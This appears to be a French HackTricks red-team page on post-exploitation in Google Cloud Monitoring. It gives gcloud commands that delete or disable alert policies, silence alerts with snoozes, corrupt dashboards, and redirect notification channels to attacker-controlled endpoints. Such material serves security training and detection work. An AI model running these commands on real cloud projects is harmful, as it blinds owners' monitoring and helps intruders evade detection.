GCP - Surveillance Post Exploitation

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Surveillance

Pour plus d'informations, consultez :

GCP - Monitoring Enum

Pour d'autres moyens de perturber les journaux, consultez :

GCP - Logging Post Exploitation

monitoring.alertPolicies.delete

Supprimer une politique d'alerte :

bash
gcloud alpha monitoring policies delete <policy>

monitoring.alertPolicies.update

Perturber une politique d'alerte :

bash
# Disable policy
gcloud alpha monitoring policies update <alert-policy> --no-enabled

# Remove all notification channels
gcloud alpha monitoring policies update <alert-policy> --clear-notification-channels

# Chnage notification channels
gcloud alpha monitoring policies update <alert-policy> --set-notification-channels=ATTACKER_CONTROLLED_CHANNEL

# Modify alert conditions
gcloud alpha monitoring policies update <alert-policy> --policy="{ 'displayName': 'New Policy Name', 'conditions': [ ... ], 'combiner': 'AND', ... }"
# or use --policy-from-file <policy-file>

monitoring.dashboards.update

Modifier un tableau de bord pour le perturber :

bash
# Disrupt dashboard
gcloud monitoring dashboards update <dashboard> --config='''
displayName: New Dashboard with New Display Name
etag: 40d1040034db4e5a9dee931ec1b12c0d
gridLayout:
widgets:
- text:
content: Hello World
'''

monitoring.dashboards.delete

Supprimer un tableau de bord :

bash
# Delete dashboard
gcloud monitoring dashboards delete <dashboard>

monitoring.snoozes.create

Empêcher les politiques de générer des alertes en créant un snoozer :

bash
# Stop alerts by creating a snoozer
gcloud monitoring snoozes create --display-name="Maintenance Week" \
--criteria-policies="projects/my-project/alertPolicies/12345,projects/my-project/alertPolicies/23451" \
--start-time="2023-03-01T03:00:00.0-0500" \
--end-time="2023-03-07T23:59:59.5-0500"

monitoring.snoozes.update

Mettez à jour le timing d'un snoozer pour éviter que des alertes ne soient créées lorsque l'attaquant est intéressé :

bash
# Modify the timing of a snooze
gcloud monitoring snoozes update <snooze> --start-time=START_TIME --end-time=END_TIME

# odify everything, including affected policies
gcloud monitoring snoozes update <snooze> --snooze-from-file=<file>

monitoring.notificationChannels.delete

Supprimer un canal configuré :

bash
# Delete channel
gcloud alpha monitoring channels delete <channel>

monitoring.notificationChannels.update

Mettre à jour les étiquettes d'un canal pour le perturber :

bash
# Delete or update labels, for example email channels have the email indicated here
gcloud alpha monitoring channels update CHANNEL_ID --clear-channel-labels
gcloud alpha monitoring channels update CHANNEL_ID --update-channel-labels=email_address=attacker@example.com

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

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